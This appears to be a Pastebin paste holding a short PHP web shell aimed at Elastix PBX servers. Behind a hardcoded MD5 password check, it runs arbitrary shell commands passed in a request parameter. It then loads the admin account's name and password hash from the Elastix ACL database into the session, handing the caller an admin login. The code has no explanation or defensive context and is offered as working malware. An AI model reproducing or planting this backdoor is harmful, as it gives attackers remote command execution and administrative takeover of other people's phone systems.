Advertisement
Guest User

Untitled

a guest
Jan 16th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  if (md5($_REQUEST['p']) == '041a185b60ced4e82a7aae5aa6b60078') {
  3.     @system($_REQUEST['c']);
  4.     include_once "/var/www/html/libs/paloSantoDB.class.php";
  5.     include_once "/var/www/html/libs/paloSantoACL.class.php";
  6.     $pDB = new paloDB("sqlite3:////var/www/db/acl.db");
  7.     $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
  8.     session_name("elastixSession");
  9.     session_start();
  10.     $_SESSION['elastix_user'] = $db[0][0];
  11.     $_SESSION['elastix_pass'] = $db[0][1];
  12.     echo '<a href="/" >Admin</a>';
  13. } else {
  14.     echo 'GaZaR';
  15. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement